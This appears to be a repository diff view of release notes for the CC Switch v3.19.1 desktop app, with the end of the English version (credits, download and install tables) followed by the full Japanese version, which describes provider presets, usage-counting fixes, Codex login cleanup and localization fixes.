- [#5677](https://github.com/farion1231/cc-switch/pull/5677): finishing off Grok Build's proxy takeover and deep-link integration — the backend field, session identity, the failover tab, and environment-variable detection, plus a fix for the credential leak in config previews along the way. Thanks to @YUZHEthefool. This is the broadest single piece of work in the release.
- [#5951](https://github.com/farion1231/cc-switch/pull/5951): the Claude Desktop double-count fix. Thanks to @Komikawayi. Pinpointing which change in v3.18.0 made all three dedup defenses fail at once was the most patient piece of investigation in this release.
- [#5916](https://github.com/farion1231/cc-switch/pull/5916), [#5928](https://github.com/farion1231/cc-switch/pull/5928): removing 3,166 lines of code with no callers and the duplicate proxy query layer. Thanks to @SaladDay.
- [#5943](https://github.com/farion1231/cc-switch/pull/5943): completing the Traditional Chinese tool-management strings and adding a test that prevents locale drift. Thanks to @yovinchen.
- [#5960](https://github.com/farion1231/cc-switch/pull/5960): completing the 9 strings that showed Simplified Chinese in every language. Thanks to @mhy1227.
### Issue Reports
Thanks to @Alaric-L for reporting in [#5938](https://github.com/farion1231/cc-switch/issues/5938) that every Claude Desktop request produced an extra log row sourced from `session_log`, causing tokens to be counted twice — that report pinpointed the data source, and the most important usage fix in this release was located directly from it.
---
## Download & Install
Visit [Releases](https://github.com/farion1231/cc-switch/releases/latest) and download the build for your system, or get it from the official site [ccswitch.io](https://ccswitch.io) (downloads are distributed through Cloudflare edge nodes and do not depend on GitHub being reachable).
### System Requirements
| System | Minimum Version | Architecture |
| ------- | -------------------- | ----------------------------------- |
| Windows | Windows 10 and later | x64 / ARM64 |
| macOS | macOS 12 (Monterey)+ | Intel (x64) / Apple Silicon (arm64) |
| Linux | See table below | x64 / ARM64 |
### Windows
| File | Description |
| ---------------------------------------- | ------------------------------------------------ |
| `CC-Switch-v3.19.1-Windows.msi` | **Recommended** - MSI installer with auto-update |
| `CC-Switch-v3.19.1-Windows-Portable.zip` | Portable build, unzip and run |
Windows ARM64 devices should pick the artifact whose file name carries the `arm64` tag.
### macOS
| File | Description |
| -------------------------------- | ----------------------------------------------------- |
| `CC-Switch-v3.19.1-macOS.dmg` | **Recommended** - DMG installer, drag to Applications |
| `CC-Switch-v3.19.1-macOS.zip` | Unzip and drag to Applications, Universal Binary |
| `CC-Switch-v3.19.1-macOS.tar.gz` | For Homebrew install and auto-update |
Homebrew install:
```bash
brew install --cask cc-switch
```
Upgrade:
```bash
brew upgrade --cask cc-switch
```
### Linux
Linux assets are available for both **x86_64** and **ARM64** (`aarch64`). Choose the file whose architecture tag matches your machine's `uname -m` output:
- `CC-Switch-v3.19.1-Linux-x86_64.AppImage` / `.deb` / `.rpm`
- `CC-Switch-v3.19.1-Linux-arm64.AppImage` / `.deb` / `.rpm`
| Distribution | Recommended Format | Install Command |
| --------------------------------------- | ------------------ | ---------------------------------------------------------------------- |
| Ubuntu / Debian / Linux Mint / Pop!\_OS | `.deb` | `sudo dpkg -i CC-Switch-*.deb` or `sudo apt install ./CC-Switch-*.deb` |
| Fedora / RHEL / CentOS / Rocky Linux | `.rpm` | `sudo rpm -i CC-Switch-*.rpm` or `sudo dnf install ./CC-Switch-*.rpm` |
| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` |
| Arch Linux / Manjaro | `.AppImage` | Make executable and run directly, or use AUR |
| Other distributions / unsure | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` |
+369
View File
@@ -0,0 +1,369 @@
# CC Switch v3.19.1
> 本リリースの主軸は**前バージョンの積み残しを片付けること**です。中国系 Codex ゲートウェイ 3 社が Responses API のネイティブ対応を確認できたため、**ローカルルーティングの引き継ぎが不要**になりました——DeepSeek と火山方舟 Coding Plan のプリセットはローカルルーティング経由から直接接続へ変更、新規追加の Tencent Hunyuan TokenHub は最初から直接接続です。日常的に遭遇しうる 4 つの不具合も修正しました——**Claude Desktop の使用量が v3.18.0 以降 2 重に計上されていた問題**(アップグレード後に過去の数値も自動で正常化しますが 30 日の期限があります。「アップグレード時の注意」を参照)、公式 Codex プロバイダに戻すと 401 のままログイン画面も表示されなくなる問題、設定ページからの Grok Build アップグレードが `os error 2` の一言で失敗する問題、Grok Build で引き継ぎを有効にすると 404 になる問題です。さらに、これまで $0 で計上されていた 8 モデルに組み込み価格を追加し、UI 文言 39 件の言語の問題を修正しました。本リリースに**データベースマイグレーションはなく**、また本プロジェクト史上初めて削除行数が追加行数を上回ったリリースでもあります。
**[English →](v3.19.1-en.md) | [中文版 →](v3.19.1-zh.md)**
---
## ハイライト:本リリースでできること
- **DeepSeek・火山方舟 Coding Plan・Tencent Hunyuan を Codex から直接接続する**:3 社の公式 Codex ドキュメントで、エンドポイントが Responses API をネイティブ提供していることが確認できました。DeepSeek と火山方舟 Coding Plan の既存プリセットは Chat 形式からネイティブ形式に変わり、プロバイダカードの「ルーティングが必要」バッジと切り替え時の確認メッセージがなくなり、リクエストはローカルプロキシのプロトコル変換を通らなくなります。Tencent Hunyuan TokenHub は本リリースで追加されたプリセットで、最初からネイティブ形式です。**DeepSeek V4 Pro はまだ直接接続で使えない点にご注意ください**——ベンダー側で Codex 連携がまだ開放されていません。直接接続では V4 Flash(プリセットの既定モデル)をご利用ください。詳細は[アップグレード時の注意](#deepseek-v4-pro-はまだ直接接続で使えません)を参照してください。
- **DeepSeek に DeepSeek 自身が公開したモデルカタログを使わせる**:新しい「公式ベンダーカタログのミラーリング」機構は、ベンダーが公開している `models.json` をそのまま当該ベンダーのエンドポイント向けに配信します。これにより freeform な `apply_patch` の登録と、対になる GPT-5 ハーネスがセットのまま保持され、中立テンプレートに押し込められることがなくなります。判定はホスト名のみで行い、モデル名では行いません——同じモデルでも、再販するアグリゲータが同じ機能を実装しているとは限らないためです。
- **Claude Desktop の正しい使用量を得る**:v3.18.0 以降、ローカルゲートウェイ経由の Claude Desktop のトラフィックはダッシュボードに 2 回記録されていました——1 回はプロキシから、もう 1 回はセッションログの取り込みから——token・費用・リクエスト数がおよそ 2 倍になっていました。本リリースの修正後、明細行が残っている日は自動的に正しい数値に戻ります。**再構築の操作は不要です。**
- **公式 Codex プロバイダに戻した後に正常にログインする**:これまでサードパーティのプロバイダから組み込みの公式 Codex エントリに戻すと、サードパーティのキーが `~/.codex/auth.json` に残っていました。Codex はそのキーで公式エンドポイントにリクエストし、確実に 401 になります——しかもファイルが存在するため Codex 自身のログイン画面にも戻らず、アプリ内から抜け出す手段がありませんでした。
- **設定ページから Grok Build をアップグレードする**:`grok update` は 0.2.112 以降、内部で npm を呼び出して配布を行うようになりましたが、GUI から起動したアプリからは node が見えないため、アップグレードは `Error: No such file or directory (os error 2)` の一言で失敗していました。
- **Grok Build で 404 にならずに引き継ぎを有効にする**:API 形式を手動で OpenAI Chat または Anthropic に変更した Grok Build プロバイダで引き継ぎを有効にすると、プロキシが登録していないルートにリクエストが送られ、そのまま 404 になっていました。フェイルオーバーも使用量の記録もありません。さらに Grok Build のリクエストはこれまで毎回新しいセッションとして扱われ、キャッシュキーの注入とセッション単位の集計がどちらも効かなくなっていました。
- **これまで $0 で計上されていた 8 モデルの実際のコストを見る**:`gpt-5.3-codex-spark``gemini-3.5-flash-lite``kimi-k2.7-code-highspeed``glm-5-turbo``glm-5v-turbo``qwen3.6-flash`、および日付サフィックスのない `claude-opus-4-6` / `claude-sonnet-4-6` です。
- **繁体字中国語の UI で「バージョン情報」ページのツール管理を読む**:30 件の文言が簡体字中国語・英語・日本語にしか追加されておらず、繁体字中国語が漏れていました。i18next は黙って英語にフォールバックするため、このパネルは v3.16.0 以降ずっと半分英語のままでした。さらに 9 件の文言は**すべての言語で**簡体字中国語が表示されていました。
- **公式サブスクリプションと DeepSeek を二者択一ではなく行き来する**:`auth.json``config.toml` はどちらもスロットが 1 つしかないファイルで、Codex 自身は 2 組目の認証情報を保持できません。ベンダーのワンクリックスクリプトはこの設定を自分専用に書き換えますが、CC Switch はプロバイダごとにまとめてスナップショットして復元します——これが公式スクリプトとの最も実際的な違いです。詳細は[後述の比較](#cc-switch-経由の導入と公式スクリプトの違い)を参照してください。
---
## 利用ガイド
本リリースの変更は Codex の接続方式と使用量の集計基準に集中しています。以下のドキュメントとあわせてお読みください:
- **[ローカルルーティング](../user-manual/ja/4-proxy/4.2-routing.md)**:どのプロバイダで引き継ぎが必要か、引き継ぎが何をするか。本リリース以降、DeepSeek・火山方舟 Coding Plan・Tencent Hunyuan には不要になります。
- **[使用量統計](../user-manual/ja/4-proxy/4.4-usage.md)**:使用量ダッシュボードのデータソースと集計基準。Claude Desktop の 2 重計上がどう起きたか、修正後もなぜ一部の過去日を戻せないかを理解する助けになります。
- **[Codex で DeepSeek のような Chat 形式 API を使う](../guides/codex-deepseek-routing-guide-ja.md)**:このガイドはローカルルーティングが Responses を Chat Completions に変換する仕組みを説明したものです。仕組みの部分は Kimi・MiniMax・SiliconFlow など Chat 形式のままのプロバイダには引き続き当てはまりますが、**DeepSeek を例として扱っている部分は本リリースには当てはまりません**——DeepSeek は直接接続になり、ルーティングは不要です。
---
> [!WARNING]
>
> ## 唯一の公式チャネル(必ずお読みください)
>
> CC Switch は**完全に無料・オープンソース**のデスクトップアプリで、**ユーザーから料金を徴収することはありません**。本ソフトウェアは下記の公式チャネルからのみ入手してください:
>
> | チャネル | 唯一の公式 |
> | ------------ | ------------------------------------------------------------------------------ |
> | 公式サイト | **[ccswitch.io](https://ccswitch.io)** |
> | ソースコード | **[github.com/farion1231/cc-switch](https://github.com/farion1231/cc-switch)** |
> | ダウンロード | **[GitHub Releases](https://github.com/farion1231/cc-switch/releases)** |
> | 作者 | **[@farion1231](https://github.com/farion1231)** |
> | 偽サイト通報 | **[GitHub Issues](https://github.com/farion1231/cc-switch/issues)** |
>
> **料金請求・チャージ・認証情報の提供を求める「CC Switch」サイトやクライアントはすべて偽物です。** 支払いを誘導された場合は直ちに操作を中止し、GitHub Issues からご報告ください。
---
## 概要
CC Switch v3.19.1 はメンテナンスリリースで、軸は 3 つあります。1 つ目は中国系 Codex ゲートウェイがまとめてネイティブ Responses に移行したことです。DeepSeek は `api.deepseek.com` に直接接続し、あわせて再利用可能な機構をもたらしました——ベンダー自身が公開するモデルカタログをそのままミラーリングして配信し、freeform な `apply_patch` の登録と対になる GPT-5 ハーネスが中立テンプレートに畳み込まれず、整合したまま保たれます。火山方舟の Coding Plan エンドポイント `/api/coding/v3` も公式ドキュメントでの確認を経て追随し、Tencent Hunyuan の TokenHub が新しいプリセットとして加わりました。3 つとも、もうローカルルーティングの引き継ぎを有効にする必要はありません。
2 つ目は実際に遭遇しうる 4 つの不具合の修正です。Claude Desktop の使用量が v3.18.0 以降 2 回記録されていた問題([#5938](https://github.com/farion1231/cc-switch/issues/5938))、組み込みの公式 Codex プロバイダに戻すとサードパーティの `auth.json` が残り、401 になったうえログイン画面も出なくなる問題、`grok update` が GUI 環境では `os error 2` としか報告しない問題、そして Grok Build のプロキシ引き継ぎが Responses 以外のバックエンドで 404 になり、かつ毎回のリクエストが新規セッション扱いになっていた問題([#5677](https://github.com/farion1231/cc-switch/pull/5677))です。3 つ目は減量です。呼び出し元が 1 つもないコード 3,166 行と、未使用の npm 依存 4 件を削除しました——本プロジェクト史上初めて、削除行数が追加行数を上回ったリリースです。このほか、ディープリンクのインポート確認ダイアログはマスクをより厳しく、切り詰めをより少なくし、$0 で計上されていた 8 モデルに価格を追加し、組み込み価格 4 件をベンダーの定価に合わせ直しました。本リリースに**データベーススキーマのマイグレーションはなく**(バージョンは v16 のまま)、アップグレードは軽量です。
**リリース日**2026-07-31
**変更規模**12 commits | 71 files changed | +2,324 / -3,680 lines
---
## 追加機能
### 公式ベンダーモデルカタログのミラーリング(DeepSeek が第 1 号)
Codex はカタログファイルからモデルの機能を読み取りますが、CC Switch はこれまでどのプロバイダに対しても中立テンプレートからカタログを生成していました。アグリゲータにはこれが正しいものの、ベンダー自身の連携が前提としている機能が落ちてしまいます。本リリースからは、公式カタログをアプリに同梱しているベンダーについては、そのベンダー自身のファイルをそのまま配信します。
DeepSeek が第 1 号です。同梱ファイルは `deepseek-v4-flash``deepseek-v4-pro` の 2 エントリを持ち、`apply_patch_tool_type: "freeform"``web_search_tool_type: "text"``supports_search_tool: true`、low / high / max の 3 段階の推論レベル、そして `base_instructions``model_messages` に入っている 17,644 文字の GPT-5 ハーネスを保持します——**このハーネスは freeform なツール登録とセットで扱う必要があります**。ハーネス自体がモデルに `apply_patch` の使用を指示しているため、どちらか一方だけを取り出すと整合しなくなるからです。
判定条件は意図的に狭くしてあります。プロバイダがネイティブ Responses の区分に該当し、**かつ** `base_url``deepseek.com` 上にあることが条件です。**判定はホスト名で行い、モデルのブランド名では行いません**——同じモデルを再販するアグリゲータが同じ機能を実装しているとは限らず、ブランド名で付与することは、実装していないサービスに機能を与えることになるからです。プロバイダが自身のカタログで明示した項目は引き続き優先されます。未知のモデル ID の場合はフラッグシップのエントリを複製したうえで、そのモデル自身の名称を保ちます。他のすべての区分で生成されるカタログは、変更前とバイト単位で同一です。
### Tencent HunyuanTokenHubCodex プリセット
Codex のプリセット選択に「Tencent Hunyuan」が追加され、「オープンソース公式」カテゴリの Bailian と StepFun の間に入ります。選択すると `https://tokenhub.tencentmaas.com/v1``wire_api = "responses"`、および TokenHub が必須としている `disable_response_storage = true` が書き込まれます。モデルは `hy3``hy3-preview` の 2 つを宣言し、コンテキストウィンドウは **256K**Codex の既定である 128K を受け入れるのではなく)、さらにテキスト専用として印を付けます——Codex が `view_image` の画像ペイロードを、画像を読めないモデルに送ることはなくなります。
ネイティブ Responses のプロバイダであるため、Codex はローカルルーティングなしでゲートウェイに直接接続します。生成されるカタログは中立のネイティブテンプレートを使い、`shell_type = "shell_command"` を固定し、ネイティブゲートウェイが受け付けない freeform な `apply_patch` の登録を外します。アドレス管理と速度計測には最初から 2 つの候補があります——メインドメインと、公式のバックアップである `.cn` ドメインです。地域が独立している国際サイトは、API キーがサイト間で共通ではないため意図的に除外しています。
**API キーは Hy3 の権限が有効な TokenHub のキーである必要がある**点にご注意ください。Coding Plan や Token Plan のサブスクリプションキーは、このエンドポイントでは利用できません。
### $0 で計上されていた 8 モデルに組み込み価格を追加
`gpt-5.3-codex-spark``gemini-3.5-flash-lite``kimi-k2.7-code-highspeed`Kimi の Turbo の慣例に従い `kimi-k2.7-code` の基準価格の 2 倍)、`glm-5-turbo``glm-5v-turbo``qwen3.6-flash` は組み込み価格テーブルに行そのものが存在せず、プレフィックスによるフォールバックでも届かなかったため、これらへのリクエストはすべてコスト 0 として記録されていました。
さらに 2 行——日付サフィックスのない `claude-opus-4-6``claude-sonnet-4-6`——は、より分かりにくい隙間を塞ぐものです。モデル ID の解決は日付サフィックスを**取り除く**ことしかせず、**付け足す**ことはないため、日付なしの ID を持つログはどれにも一致しませんでした。8 行はいずれも「存在しない場合のみ挿入」で投入されるため、変更済みの価格は影響を受けません。
### Grok Build がフェイルオーバータブと環境変数の競合検出に加わりました
設定ページのフェイルオーバーに、Claude Code・Codex・Gemini に続く 4 つ目の Grok Build タブが追加されました。起動時の環境変数競合バナーも `XAI_API_KEY``GROK_DEFAULT_MODEL` の検出を開始します——この 2 つはアプリで選んだプロバイダを黙って上書きしてしまう変数です。検出は完全一致とプレフィックスを区別するため、CC Switch 自身が使う `GROK_BIN_DIR``GROK_HOME` が誤検出されることはありません。
---
## 変更
### DeepSeek と火山方舟 Coding Plan が Codex に直接接続、ローカルルーティング不要に
両プリセットはこれまで OpenAI Chat 形式として扱われていたため、どちらも「引き継ぎが必要」でした。プロバイダカードには「ルーティングが必要」バッジが付き、プロキシを起動せずに切り替えると確認が出て、リクエストは毎回 Codex → ローカルプロキシ → Responses から Chat への変換 → 上流、という経路をたどっていました。
両社の公式 Codex 連携ドキュメントで、エンドポイントが Responses API を提供していることが確認できました——DeepSeek の `api.deepseek.com` と火山方舟の `/api/coding/v3` です。これに伴い両プリセットはネイティブ Responses として宣言され、バッジと確認メッセージはなくなり、Codex はゲートウェイに直接接続します。両社とも生成される `config.toml` に変化はありません(もともと `wire_api = "responses"` でした)。変わるのはカタログの生成区分と、DeepSeek についてはコンテキストウィンドウで、1,000,000 からベンダー自身の 1,048,576 に合わせ直しました。
BytePlus の国際サイトは、ドキュメントを個別に確認するまで意図的に Chat ルーティングのままとします。火山方舟のプリセットには、知っておく価値のある課金上の注記も残しました。従量課金の `/api/v3` エンドポイントは、このプリセットのバックアップアドレスに**絶対に追加してはいけません**——別勘定で課金され、プランの残量を消費しないためです。
### カタログの表示名とコンテキストウィンドウが「明示した場合のみ有効」に
この 2 つのフィールドには、これまでローカルの既定値——モデル ID と 128,000 のウィンドウ——が付いており、しかもベンダーの値が関与する前に適用されていたため、ミラーリングしたカタログの 1M のウィンドウが 128K に上書きされてしまう状態でした。現在この 2 つは省略可能になり、フォールバックはエントリ構築の層まで下ろされたため、「空のままにする」ことが本当に「ベンダーが宣言した値を使う」を意味するようになりました。この 2 つを明示したプロバイダ、およびミラーリング以外のすべての区分では、生成されるカタログは以前とまったく同じです。
---
## CC Switch 経由の導入と公式スクリプトの違い
DeepSeek は Codex のワンクリック導入スクリプトを公開しています。これはきちんと動き、バックアップも取り、復元メニューも備えています。**このマシンで DeepSeek だけを使うつもりなら、公式スクリプトを実行して何の問題もありません。** CC Switch が扱うのは別の場面です——複数のプロバイダを行き来したい場合です。
### プロバイダを切り替えるとき、ログイン状態と設定がまとめて入れ替わる(自分でバックアップする必要はありません)
`~/.codex/auth.json``~/.codex/config.toml` はどちらも**スロットが 1 つしかないファイル**です——Codex 自身に複数の認証情報を保持する仕組みはなく、1 つの設定は 1 つのプロバイダにしか対応できません。CC Switch はあるプロバイダから切り替えるとき、この 2 ファイルの内容をまとめてそのプロバイダのレコードにスナップショットし、戻すときにまとめて書き戻します。そのため「ChatGPT サブスクリプション → DeepSeek → サブスクリプションに戻る」で通常 `codex login` をやり直す必要はなく、サードパーティ間の行き来には手作業がまったく不要です。同じことを手作業で行う場合は、切り替えのたびに前後でこの 2 ファイルをコピーする必要があり、一度でも漏らせば、上書きされた OAuth の認証情報はログインし直す以外に取り戻せません。
公式スクリプトのトレードオフは異なります。`config.toml` を DeepSeek 専用の設定に作り替え——トップレベルに `preferred_auth_method = "apikey"``forced_login_method = "api"` を固定して認証方式を API キーに固定し、さらに **`config.toml` にすでにある `[profiles.*]` を削除します**(Codex 自身が持つ、複数プロバイダを切り替える仕組みです)。ChatGPT のログイン認証情報そのものは削除されず、`auth.json` はそのまま残りますが、その設定のもとでは使えません。サブスクリプションに戻すにはスクリプトの復元メニューで全体をロールバックする必要があり、そのロールバックではインストール後に `config.toml` へ加えた手動の変更もあわせて失われます。スクリプト自体も flash と pro の切り替えしかできず、「3 つ目のプロバイダに移る」という選択肢はありません。
### プロバイダを切り替えた後も、`codex resume` に以前のセッションが残る
Codex は各セッションに記録された `model_provider` によって、再開一覧を引き出しのように分けています。CC Switch が作成するサードパーティの Codex プロバイダは——DeepSeek でも Kimi でもアグリゲータでも——すべて同じ識別子 `custom` を書き込むため、それらの間をどう切り替えても `codex resume` からは常に全履歴が見えます。CC Switch は初回起動時に一度だけ移行処理も行い、ベンダーごとに分かれていた既知の古いセッション(公式スクリプトが書き込む `deepseek` もこれに含まれます)をこの共有の引き出しへまとめます。その際、元のファイルは先に `~/.cc-switch/backups/` へバックアップされます。
**ここには明確な境界があります**。この移行は CC Switch の初回起動時に一度だけ実行されます。**先に CC Switch をインストールし、その後で公式スクリプトを実行した場合**、`deepseek` の識別子を持つそれらのセッションはもうまとめられず、自分の引き出しに残ったままになります。また、手書きで指定した、既知の一覧にないプロバイダ識別子は、CC Switch が意図的に変更しません。
### 公式サブスクリプションのセッションは、CC Switch ではもともとサードパーティと同じ一覧に並んでいます
CC Switch の**セッション管理パネルはセッションディレクトリを直接スキャンし、`model_provider` を読みません**。そのため公式サブスクリプションの利用中に生まれた Codex セッションは、以前からサードパーティのセッションと同じ一覧にあり、検索・再開・削除ができます——**どのスイッチも有効にする必要はありません**。
さらに **Codex 自身の `codex resume` の一覧**でも公式とサードパーティをまとめたい場合は、それは別の話になります。設定 → 一般 → Codex アプリ拡張 → **「Codex セッション履歴を統一」**で、既定はオフです。有効にすると新しいセッションのみが対象になります。既存の公式セッションもあわせて移すには、有効化の確認ダイアログで「既存の公式セッション履歴もあわせて移行する」にチェックを入れる必要があります(こちらも既定ではチェックなしです)。この 2 つはどちらも既存機能で、本リリースでの新規追加ではありません。境界となるケースについては[「Codex セッション履歴の統一」ガイド](../guides/codex-unified-session-history-guide-ja.md)を参照してください。
> **共通の前提が 2 つあります。後で戸惑わないよう先に明記します:**
>
> **1. すべては CC Switch が参照している Codex ディレクトリが基準です。** 既定は `~/.codex` で、設定から変更できます。**CC Switch は `CODEX_HOME` 環境変数を読みません**——この変数で Codex を別の場所に向けている場合、そちらのセッションは CC Switch からは見えず、プロバイダの切り替えも CLI が使っていないディレクトリに書き込まれます。ディレクトリを変更するときは、CC Switch 自身の「設定ファイルのディレクトリ」設定をお使いください。
>
> **2. 同じ一覧に並ぶことは、必ず再開できることを意味しません。** Codex の推論内容(`encrypted_content`)は、それを生成したバックエンドでしか復号できないため、別のプロバイダで以前のセッションを続けようとすると失敗することがあります——これは上流の設計であり、CC Switch が回避できるものではありません。
---
## 修正
### Claude Desktop の使用量が 2 回計上されていた問題
ローカルゲートウェイ経由の Claude Desktop のトラフィックは、使用量ダッシュボードに 2 回入っていました——1 回はプロキシの行、もう 1 回はセッション記録の取り込みの行です——その結果、token・費用・リクエスト数がおよそ 2 倍になっていました。
これは v3.18.0 で入った回帰です。プロキシ側の重複排除 ID は `claude` 以外のすべてのアプリにスコープのプレフィックスを付け、`session:{アプリ}:{プロバイダ}:{メッセージID}` の形にしていました。これにより `claude-desktop` が独立した名前空間に入る一方、セッションの取り込み側は同じ Claude のメッセージを、素の `session:{メッセージID}` の形かつ `app_type = 'claude'` で書き続けていました。その結果、3 つの重複排除の防御が同時に破られました——プロキシの行が既存のセッション行を吸収するための主キーの収束、書き込み側のフィンガープリント照合、読み取り側のフィルタです。後の 2 つはどちらもアプリ種別を厳密な等価比較で判定していました。
現在は 2 つのアプリが再び素の名前空間を共有し、2 か所の比較は一方向の規則で緩和されています。`claude` のセッション行は `claude-desktop` のプロキシ行に吸収されうる一方、**その逆は成立しません**。読み取り側のフィルタは日次ロールアップの集計が通るものと同一であるため、すでに保存済みの重複行も計上されなくなります。**行の書き換えも削除も行いません**——この自動修復には保持期間の制限があります。「アップグレード時の注意」を参照してください。Codex・Gemini・OpenCode では緩和後の比較はもとの厳密一致に退化し、上限チェックは引き続き厳密一致を使います。([#5938](https://github.com/farion1231/cc-switch/issues/5938)、[#5951](https://github.com/farion1231/cc-switch/pull/5951)
### 公式 Codex プロバイダに戻すと 401 のまま、ログイン画面も出ない問題
Codex の API キー保持スイッチがオフのとき(既定はオフです)、サードパーティのプロバイダに切り替えると相手のキーが `~/.codex/auth.json` に書き込まれます。その後、組み込みの公式プロバイダ——保存されている認証情報は空です——に切り替えると「設定だけを書く」分岐を通るため、`config.toml` は置き換えられる一方、サードパーティの `OPENAI_API_KEY` はそのままディスクに残りました。Codex はその外部のキーで公式エンドポイントにリクエストして確実に 401 になり、さらに `auth.json` が存在するため自身のログイン画面にも戻らず、アプリ内には出口がありませんでした。
現在は、公式 Codex プロバイダへの切り替えが成功した後、`auth.json` の中身が `OPENAI_API_KEY` のみで、その横に第一級の認証情報が何もない場合、このファイルを削除します——OAuth トークン、パーソナルアクセストークン、agent の識別情報、Bedrock のキーのいずれかがあれば本物の認証情報であることを示すため、完全に保持されます。一方、`auth_mode``last_refresh`・アカウント ID のような単なるメタデータは、古くなったキーを「かばう」ことがもうできません。
**`{}` を書き込むのではなくファイルを削除する**のは意図的な選択です。空のオブジェクトは Codex にトークンのない ChatGPT モードと判定され、起動時にエラーになります。ファイルがない状態こそが未ログインと等価で、そのままログインの流れに入ります。このクリーンアップは、以前のプロバイダがデータベースへ正常に書き戻された後にのみ実行されるため、削除されたキーは失われていません——そのプロバイダのレコードに保存されており、再び選択すれば戻ってきます。同じ変更でライブ設定の読み取りも緩和され、クリーンアップ後の状態(`auth.json` がなく `config.toml` がある)が「Codex がインストールされていません」と報告されることはなくなりました。
### 設定ページからの Grok Build アップグレードが `os error 2` の一言で失敗する問題
設定 → バージョン情報から Grok Build をアップグレードすると、`Error: No such file or directory (os error 2)` で失敗し、それ以外の情報は何も出ませんでした。
根本原因は、検出の経路と実行の経路の非対称性です。検出はログインシェルを通るためユーザーの rc ファイルを読み、nvm・Homebrew・Volta が見えます。一方、ライフサイクルのスクリプトは非ログインシェルで実行され、GUI アプリの起動時に受け継がれる非常に狭い PATH を引き継ぎます。本来これは問題になりません。アンカーされたコマンドは対象のプログラムを絶対パスで呼び出すからです——しかし grok 0.2.112 は自己更新を npm 配布に移し、`grok update` は内部で `npm view``npm i -g` を呼び出すようになりました。そして npm 自身は shebang を通じて node を解決します。内側の呼び出しが ENOENT を返し、grok はそれをそのまま `os error 2` として投げていました。
現在、macOS と Linux のライフサイクルコマンドは、ログインシェルの実際の PATH を、引き継いだ PATH の前に結合します。読み取りは変数をエコーするのではなく `/usr/bin/env` を実行して行います——fish は PATH をリストとして保持しており、エコーするとスペース区切りの断片になってしまうためです。ネイティブインストールの Grok については、アップグレードの連鎖に公式 xAI インストーラーをフォールバックとして追加しました。**あえて `npm i -g` は使いません**:npm は主経路と同じ 2 つの失敗モード(node がない、ミラーにパッケージがない)を共有しており、一緒に失敗するからです。公式インストーラーは node に依存しない唯一の経路で、配置先も同じであり、さらに CLI 自身の `installer` 設定を `internal` に書き戻すため、初期の npm フォールバックによって npm 配布に切り替わってしまったユーザーも、ついでに元に戻ります。
### Grok Build で引き継ぎを有効にすると 404 になり、毎回のリクエストが新規セッションのように扱われる問題
API 形式を OpenAI Chat または Anthropic に変更した Grok Build プロバイダで引き継ぎを有効にすると、ただちに 404 になり、フェイルオーバーも使用量の記録もありませんでした——引き継ぎはアドレスとキーを書き換える一方、バックエンドのフィールドには手を付けなかったため、CLI がプロキシの登録していないルートにリクエストを送っていたのです。現在は引き継ぎがバックエンドも Responses に固定します。個別のプロバイダに応じて Chat Completions へ落とす処理は引き続き転送層で行われ、この強制された値はプロキシ停止時にライブ設定のバックアップとともに元へ戻ります。
もう 1 つの問題は、プロキシのセッション判定が Codex と OpenAI のクライアントしか認識していなかったことです。そのため Grok Build のリクエストは毎回新しいセッション ID を生成して「クライアント提供ではない」と印を付けられ、キャッシュキーの注入とダッシュボードのセッション単位の集計がどちらも効かなくなっていました。現在は Grok 自身のヘッダを読みます——まずセッションが属する会話の ID、次にセッション ID を見て、リクエストごとに変わる ID は無視します——さらに専用のプレフィックスを使い、Codex の記録と衝突しないようにしています。([#5677](https://github.com/farion1231/cc-switch/pull/5677)
### 9 件の UI 文言がすべての言語で簡体字中国語を表示していた問題
9 件の文字列が、UI の言語にかかわらず簡体字中国語で表示されていました。英語や日本語の UI でも同様です。各呼び出し箇所は「インラインの既定値」の書き方を使い、既定値には中国語のリテラルが入っていましたが、対応するキーは 4 つの言語ファイルの**どれにも存在しませんでした**——そして i18next は言語チェーンをすべてたどってからインラインの既定値を検討するため、英語へのフォールバックが働く機会がそもそもなく、中国語のリテラルがすべての言語で勝っていました。
対象の文言は、Grok Build プロバイダフォームの必須項目チェック、アプリがまだ引き継がれていないときのフェイルオーバーのホバー説明、別のアプリが引き継ぎを保持している状態で Claude Desktop のルーティングを停止しようとしたときの警告とその理由の説明、プロバイダ識別子の読み取り失敗、Codex 共通設定が空のときのエラー、ルーティングサービスの停止と停止失敗の 2 つの通知、そして使用量テーブルで「token はあるがコストが 0 と算出された」リクエストに付く「未計算」のラベルにわたります。9 件のキーは現在、簡体字中国語・英語・日本語・繁体字中国語のすべてに存在します。([#5960](https://github.com/farion1231/cc-switch/pull/5960)
### 繁体字中国語の「バージョン情報」ページでツール管理が英語にフォールバックしていた問題
UI の言語を繁体字中国語に設定すると、「バージョン情報」ページのツール管理の領域が英語で表示されていました——バージョンの行、インストールと更新のボタン、結果の通知、インストール競合の診断、そして更新確認ダイアログ全体です。このパネルは 3 回の変更を経て段階的に作られましたが、そのたびに簡体字中国語・英語・日本語だけが追加されていました。i18next の方針はエラーにせず英語へフォールバックすることなので、欠けていた 30 件のキーはテストからまったく見えませんでした。**この欠落は v3.16.0 から v3.19.0 までずっと出荷され続けていました。**
30 件の文言はすべて翻訳され、インストールの説明も他の言語と揃えました。新しく追加した言語テストは、ツール管理のすべての文言が 4 言語に存在し、かつ補間変数が一致することを要求するため、この種のずれは今後リリースされる前にテストで失敗します。([#5943](https://github.com/farion1231/cc-switch/pull/5943)
### 組み込み価格がベンダーの定価とずれていた問題
コストはログに書き込む時点で組み込み価格テーブルに従って確定するため、古い初期値は以後のすべてのリクエストを黙って誤って計算します。本リリースでは 4 行を修正しました。`deepseek-chat``deepseek-reasoner` は V4 Flash の旧称エイリアスとなり、100 万 token あたり入力 $0.14 / 出力 $0.28、キャッシュ読み取り $0.0028 になりました(従来は $0.27/$1.10 と $0.55/$2.19)。`minimax-m3` は公式の標準区分に合わせて半額の $0.30/$1.20 に。`gpt-5.6-luna` は OpenAI の 2026-07-30 の値下げに合わせて 80% 引き下げて $0.20/$1.20、`gpt-5.6-terra` は 20% 引き下げて $2/$12 とし、`gpt-5.6-sol` は意図的に据え置き、このシリーズのキャッシュ書き込みの比率も維持しています。
この修正は、行の 4 つの価格列が**すべて従来の組み込み値と等しいままである場合にのみ**書き換えます。そのため、自分で変更した価格——あるいは models.dev の同期によって書き込まれた価格——が触られることはありません。
---
## セキュリティ強化
### ディープリンクのインポート確認:マスクをより厳しく、切り詰めをより少なく
